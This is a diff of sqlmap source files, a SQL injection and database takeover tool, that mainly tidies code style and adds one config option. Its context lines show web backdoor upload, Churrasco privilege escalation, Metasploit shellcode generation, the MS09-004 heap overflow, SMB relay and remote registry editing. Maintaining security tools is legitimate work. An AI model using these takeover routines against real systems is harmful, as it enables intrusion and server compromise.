||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
|
@ -897,7 +881,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.cachedColumns
|
return kb.data.cachedColumns
|
||||||
|
|
||||||
|
|
||||||
def dumpTable(self):
|
def dumpTable(self):
|
||||||
if not conf.tbl:
|
if not conf.tbl:
|
||||||
errMsg = "missing table parameter"
|
errMsg = "missing table parameter"
|
||||||
|
@ -1067,7 +1050,6 @@ class Enumeration:
|
||||||
|
|
||||||
return kb.data.dumpedTable
|
return kb.data.dumpedTable
|
||||||
|
|
||||||
|
|
||||||
def dumpAll(self):
|
def dumpAll(self):
|
||||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||||
errMsg = "information_schema not available, "
|
errMsg = "information_schema not available, "
|
||||||
|
@ -1093,7 +1075,6 @@ class Enumeration:
|
||||||
if data:
|
if data:
|
||||||
dumper.dbTableValues(data)
|
dumper.dbTableValues(data)
|
||||||
|
|
||||||
|
|
||||||
def sqlQuery(self, query):
|
def sqlQuery(self, query):
|
||||||
output = None
|
output = None
|
||||||
sqlType = None
|
sqlType = None
|
||||||
|
@ -1119,10 +1100,10 @@ class Enumeration:
|
||||||
else:
|
else:
|
||||||
query = urlencode(query, convall=True)
|
query = urlencode(query, convall=True)
|
||||||
|
|
||||||
if kb.stackedTest == None:
|
if kb.stackedTest is None:
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
if sqlType:
|
if sqlType:
|
||||||
|
@ -1140,7 +1121,6 @@ class Enumeration:
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def sqlShell(self):
|
def sqlShell(self):
|
||||||
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
|
@ -1174,7 +1154,7 @@ class Enumeration:
|
||||||
if output and output != "Quit":
|
if output and output != "Quit":
|
||||||
dumper.string(query, output)
|
dumper.string(query, output)
|
||||||
|
|
||||||
elif output == False:
|
elif not output:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
elif output != "Quit":
|
elif output != "Quit":
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
@ -46,13 +44,11 @@ class Filesystem:
|
||||||
self.fileTblName = "sqlmapfile"
|
self.fileTblName = "sqlmapfile"
|
||||||
self.tblField = "data"
|
self.tblField = "data"
|
||||||
|
|
||||||
|
|
||||||
def __unbase64String(self, base64Str):
|
def __unbase64String(self, base64Str):
|
||||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||||
|
|
||||||
return unbase64Str
|
return unbase64Str
|
||||||
|
|
||||||
|
|
||||||
def __unhexString(self, hexStr):
|
def __unhexString(self, hexStr):
|
||||||
if len(hexStr) % 2 != 0:
|
if len(hexStr) % 2 != 0:
|
||||||
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||||
|
@ -64,7 +60,6 @@ class Filesystem:
|
||||||
|
|
||||||
return binascii.unhexlify(hexStr)
|
return binascii.unhexlify(hexStr)
|
||||||
|
|
||||||
|
|
||||||
def __binDataToScr(self, binaryData, chunkName):
|
def __binDataToScr(self, binaryData, chunkName):
|
||||||
"""
|
"""
|
||||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||||
|
@ -101,7 +96,6 @@ class Filesystem:
|
||||||
|
|
||||||
return fileLines
|
return fileLines
|
||||||
|
|
||||||
|
|
||||||
def __checkWrittenFile(self, wFile, dFile, fileType):
|
def __checkWrittenFile(self, wFile, dFile, fileType):
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms == "MySQL":
|
||||||
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
||||||
|
@ -141,7 +135,6 @@ class Filesystem:
|
||||||
warnMsg += "privileges in the destination path"
|
warnMsg += "privileges in the destination path"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def fileToSqlQueries(self, fcEncodedList):
|
def fileToSqlQueries(self, fcEncodedList):
|
||||||
"""
|
"""
|
||||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||||
|
@ -162,7 +155,6 @@ class Filesystem:
|
||||||
|
|
||||||
return sqlQueries
|
return sqlQueries
|
||||||
|
|
||||||
|
|
||||||
def fileEncode(self, fileName, encoding, single):
|
def fileEncode(self, fileName, encoding, single):
|
||||||
"""
|
"""
|
||||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||||
|
@ -173,7 +165,7 @@ class Filesystem:
|
||||||
fp = open(fileName, "rb")
|
fp = open(fileName, "rb")
|
||||||
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
||||||
|
|
||||||
if single == False:
|
if not single:
|
||||||
fcLength = len(fcEncodedStr)
|
fcLength = len(fcEncodedStr)
|
||||||
|
|
||||||
if fcLength > 1024:
|
if fcLength > 1024:
|
||||||
|
@ -200,7 +192,6 @@ class Filesystem:
|
||||||
|
|
||||||
return fcEncodedList
|
return fcEncodedList
|
||||||
|
|
||||||
|
|
||||||
def updateBinChunk(self, binaryData, tmpPath):
|
def updateBinChunk(self, binaryData, tmpPath):
|
||||||
"""
|
"""
|
||||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||||
|
@ -250,7 +241,6 @@ class Filesystem:
|
||||||
|
|
||||||
return chunkName
|
return chunkName
|
||||||
|
|
||||||
|
|
||||||
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
||||||
message = "do you want confirmation that the file '%s' " % dFile
|
message = "do you want confirmation that the file '%s' " % dFile
|
||||||
message += "has been successfully written on the back-end DBMS "
|
message += "has been successfully written on the back-end DBMS "
|
||||||
|
@ -260,7 +250,6 @@ class Filesystem:
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def readFile(self, rFile):
|
def readFile(self, rFile):
|
||||||
fileContent = None
|
fileContent = None
|
||||||
|
|
||||||
|
@ -268,7 +257,7 @@ class Filesystem:
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
debugMsg = "going to read the file with UNION query SQL "
|
debugMsg = "going to read the file with UNION query SQL "
|
||||||
debugMsg += "injection technique"
|
debugMsg += "injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -308,13 +297,12 @@ class Filesystem:
|
||||||
|
|
||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
||||||
|
|
||||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
debugMsg = "going to upload the %s file with " % fileType
|
debugMsg = "going to upload the %s file with " % fileType
|
||||||
debugMsg += "UNION query SQL injection technique"
|
debugMsg += "UNION query SQL injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
|
@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.exception import sqlmapUndefinedMethod
|
from lib.core.exception import sqlmapUndefinedMethod
|
||||||
|
|
||||||
|
|
||||||
class Fingerprint:
|
class Fingerprint:
|
||||||
"""
|
"""
|
||||||
This class defines generic fingerprint functionalities for plugins.
|
This class defines generic fingerprint functionalities for plugins.
|
||||||
|
@ -38,20 +35,17 @@ class Fingerprint:
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
errMsg = "'escape' method must be defined "
|
errMsg = "'escape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
errMsg = "'getFingerprint' method must be defined "
|
errMsg = "'getFingerprint' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
errMsg = "'checkDbms' method must be defined "
|
errMsg = "'checkDbms' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
|
|
|
@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
|
||||||
import os
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -72,12 +70,11 @@ class Miscellaneous:
|
||||||
|
|
||||||
setRemoteTempPath()
|
setRemoteTempPath()
|
||||||
|
|
||||||
|
|
||||||
def delRemoteFile(self, tempFile, doubleslash=False):
|
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
if doubleslash is True:
|
if doubleslash:
|
||||||
tempFile = tempFile.replace("/", "\\\\")
|
tempFile = tempFile.replace("/", "\\\\")
|
||||||
else:
|
else:
|
||||||
tempFile = tempFile.replace("/", "\\")
|
tempFile = tempFile.replace("/", "\\")
|
||||||
|
@ -88,12 +85,10 @@ class Miscellaneous:
|
||||||
|
|
||||||
self.execCmd(cmd, forgeCmd=True)
|
self.execCmd(cmd, forgeCmd=True)
|
||||||
|
|
||||||
|
|
||||||
def createSupportTbl(self, tblName, tblField, tblType):
|
def createSupportTbl(self, tblName, tblField, tblType):
|
||||||
inject.goStacked("DROP TABLE %s" % tblName)
|
inject.goStacked("DROP TABLE %s" % tblName)
|
||||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||||
|
|
||||||
|
|
||||||
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||||
"""
|
"""
|
||||||
Cleanup database from sqlmap create tables and functions
|
Cleanup database from sqlmap create tables and functions
|
||||||
|
@ -101,7 +96,7 @@ class Miscellaneous:
|
||||||
|
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
|
@ -113,7 +108,7 @@ class Miscellaneous:
|
||||||
else:
|
else:
|
||||||
libtype = "shared library"
|
libtype = "shared library"
|
||||||
|
|
||||||
if onlyFileTbl == True:
|
if onlyFileTbl:
|
||||||
logger.debug("cleaning up the database management system")
|
logger.debug("cleaning up the database management system")
|
||||||
else:
|
else:
|
||||||
logger.info("cleaning up the database management system")
|
logger.info("cleaning up the database management system")
|
||||||
|
@ -121,7 +116,7 @@ class Miscellaneous:
|
||||||
logger.debug("removing support tables")
|
logger.debug("removing support tables")
|
||||||
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
||||||
|
|
||||||
if onlyFileTbl == False:
|
if not onlyFileTbl:
|
||||||
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
@ -59,7 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
Abstraction.__init__(self)
|
Abstraction.__init__(self)
|
||||||
|
|
||||||
|
|
||||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
|
@ -77,7 +74,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
|
||||||
def __webBackdoorShell(self, backdoorUrl):
|
def __webBackdoorShell(self, backdoorUrl):
|
||||||
infoMsg = "calling OS shell. To quit type "
|
infoMsg = "calling OS shell. To quit type "
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
|
@ -108,7 +104,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||||
|
|
||||||
|
|
||||||
def __webBackdoorInit(self):
|
def __webBackdoorInit(self):
|
||||||
"""
|
"""
|
||||||
This method is used to write a web backdoor (agent) on a writable
|
This method is used to write a web backdoor (agent) on a writable
|
||||||
|
@ -138,23 +133,16 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
if not choice or choice == "2":
|
if not choice or choice == "2":
|
||||||
language = "php"
|
language = "php"
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif choice == "1":
|
elif choice == "1":
|
||||||
language = "asp"
|
language = "asp"
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif choice == "3":
|
elif choice == "3":
|
||||||
# TODO: add also JSP backdoor/uploader support
|
|
||||||
errMsg = "JSP web backdoor functionality is not yet "
|
errMsg = "JSP web backdoor functionality is not yet "
|
||||||
errMsg += "implemented"
|
errMsg += "implemented"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
#language = "jsp"
|
|
||||||
|
|
||||||
#break
|
|
||||||
|
|
||||||
elif not choice.isdigit():
|
elif not choice.isdigit():
|
||||||
logger.warn("invalid value, only digits are allowed")
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
@ -226,7 +214,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
elif language == "jsp":
|
elif language == "jsp":
|
||||||
# TODO: add also JSP backdoor/uploader support
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||||
|
@ -240,7 +227,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
return backdoorUrl
|
return backdoorUrl
|
||||||
|
|
||||||
|
|
||||||
def uploadChurrasco(self):
|
def uploadChurrasco(self):
|
||||||
msg = "do you want sqlmap to upload Churrasco and call the "
|
msg = "do you want sqlmap to upload Churrasco and call the "
|
||||||
msg += "Metasploit payload stager as its argument so that it "
|
msg += "Metasploit payload stager as its argument so that it "
|
||||||
|
@ -249,7 +235,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
output = readInput(msg, default="Y")
|
output = readInput(msg, default="Y")
|
||||||
|
|
||||||
if not output or output[0] in ( "y", "Y" ):
|
if not output or output[0] in ( "y", "Y" ):
|
||||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
|
||||||
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
||||||
|
|
||||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
|
@ -261,11 +246,10 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
infoMsg = "going to upload a web page backdoor for command "
|
infoMsg = "going to upload a web page backdoor for command "
|
||||||
infoMsg += "execution"
|
infoMsg += "execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -278,11 +262,10 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.runCmd(conf.osCmd)
|
self.runCmd(conf.osCmd)
|
||||||
|
|
||||||
|
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
infoMsg = "going to upload a web page backdoor for command "
|
infoMsg = "going to upload a web page backdoor for command "
|
||||||
infoMsg += "execution"
|
infoMsg += "execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -295,11 +278,10 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.absOsShell()
|
self.absOsShell()
|
||||||
|
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
|
@ -330,7 +312,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
if choice == 1:
|
if choice == 1:
|
||||||
goUdf = True
|
goUdf = True
|
||||||
|
|
||||||
if goUdf is True:
|
if goUdf:
|
||||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||||
else:
|
else:
|
||||||
self.createMsfPayloadStager()
|
self.createMsfPayloadStager()
|
||||||
|
@ -359,7 +341,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
uploaded = self.uploadChurrasco()
|
uploaded = self.uploadChurrasco()
|
||||||
|
|
||||||
if uploaded == False:
|
if not uploaded:
|
||||||
warnMsg = "beware that the privilege escalation "
|
warnMsg = "beware that the privilege escalation "
|
||||||
warnMsg += "might not work"
|
warnMsg += "might not work"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -371,7 +353,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
self.pwn(goUdf)
|
self.pwn(goUdf)
|
||||||
|
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
|
@ -381,14 +362,14 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
errMsg = "the back-end DBMS underlying operating system is "
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
errMsg += "not Windows: it is not possible to perform the SMB "
|
errMsg += "not Windows: it is not possible to perform the SMB "
|
||||||
errMsg += "relay attack"
|
errMsg += "relay attack"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||||
errMsg = "on this back-end DBMS it is only possible to "
|
errMsg = "on this back-end DBMS it is only possible to "
|
||||||
errMsg += "perform the SMB relay attack if stacked "
|
errMsg += "perform the SMB relay attack if stacked "
|
||||||
errMsg += "queries are supported"
|
errMsg += "queries are supported"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
elif kb.dbms == "MySQL":
|
elif kb.dbms == "MySQL":
|
||||||
debugMsg = "since stacked queries are not supported, "
|
debugMsg = "since stacked queries are not supported, "
|
||||||
|
@ -419,16 +400,15 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
else:
|
else:
|
||||||
printWarn = False
|
printWarn = False
|
||||||
|
|
||||||
if printWarn == True:
|
if printWarn:
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
self.smb()
|
self.smb()
|
||||||
|
|
||||||
|
|
||||||
def osBof(self):
|
def osBof(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||||
|
@ -436,7 +416,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||||
errMsg += "stored procedure (MS09-004)"
|
errMsg += "stored procedure (MS09-004)"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||||
|
@ -448,11 +428,10 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||||
self.bof()
|
self.bof()
|
||||||
|
|
||||||
|
|
||||||
def __regInit(self):
|
def __regInit(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
@ -460,12 +439,11 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
if kb.os != "Windows":
|
if kb.os != "Windows":
|
||||||
errMsg = "the back-end DBMS underlying operating system is "
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
errMsg += "not Windows"
|
errMsg += "not Windows"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
|
||||||
def regRead(self):
|
def regRead(self):
|
||||||
self.__regInit()
|
self.__regInit()
|
||||||
|
|
||||||
|
@ -488,7 +466,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
return self.readRegKey(regKey, regVal, False)
|
return self.readRegKey(regKey, regVal, False)
|
||||||
|
|
||||||
|
|
||||||
def regAdd(self):
|
def regAdd(self):
|
||||||
self.__regInit()
|
self.__regInit()
|
||||||
|
|
||||||
|
@ -499,7 +476,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
regKey = readInput(msg)
|
regKey = readInput(msg)
|
||||||
|
|
||||||
if not regKey:
|
if not regKey:
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
else:
|
else:
|
||||||
regKey = conf.regKey
|
regKey = conf.regKey
|
||||||
|
|
||||||
|
@ -508,7 +485,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
regVal = readInput(msg)
|
regVal = readInput(msg)
|
||||||
|
|
||||||
if not regVal:
|
if not regVal:
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
else:
|
else:
|
||||||
regVal = conf.regVal
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
@ -517,7 +494,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
regData = readInput(msg)
|
regData = readInput(msg)
|
||||||
|
|
||||||
if not regData:
|
if not regData:
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
else:
|
else:
|
||||||
regData = conf.regData
|
regData = conf.regData
|
||||||
|
|
||||||
|
@ -537,7 +514,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
self.addRegKey(regKey, regVal, regType, regData)
|
self.addRegKey(regKey, regVal, regType, regData)
|
||||||
|
|
||||||
|
|
||||||
def regDel(self):
|
def regDel(self):
|
||||||
self.__regInit()
|
self.__regInit()
|
||||||
|
|
||||||
|
@ -548,7 +524,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
regKey = readInput(msg)
|
regKey = readInput(msg)
|
||||||
|
|
||||||
if not regKey:
|
if not regKey:
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
else:
|
else:
|
||||||
regKey = conf.regKey
|
regKey = conf.regKey
|
||||||
|
|
||||||
|
@ -557,7 +533,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
regVal = readInput(msg)
|
regVal = readInput(msg)
|
||||||
|
|
||||||
if not regVal:
|
if not regVal:
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
else:
|
else:
|
||||||
regVal = conf.regVal
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
|
45
sqlmap.conf
45
sqlmap.conf
|
@ -32,9 +32,9 @@ data =
|
||||||
# HTTP Cookie header.
|
# HTTP Cookie header.
|
||||||
cookie =
|
cookie =
|
||||||
|
|
||||||
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
# Ignore Set-Cookie header from response
|
||||||
# each HTTP request.
|
# Valid: True or False
|
||||||
referer =
|
dropSetCookie = False
|
||||||
|
|
||||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||||
# at each HTTP request
|
# at each HTTP request
|
||||||
|
@ -45,6 +45,10 @@ agent =
|
||||||
# Example: ./txt/user-agents.txt
|
# Example: ./txt/user-agents.txt
|
||||||
userAgentsFile =
|
userAgentsFile =
|
||||||
|
|
||||||
|
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
||||||
|
# each HTTP request.
|
||||||
|
referer =
|
||||||
|
|
||||||
# Extra HTTP headers
|
# Extra HTTP headers
|
||||||
# Note: There must be a space at the beginning of each header line.
|
# Note: There must be a space at the beginning of each header line.
|
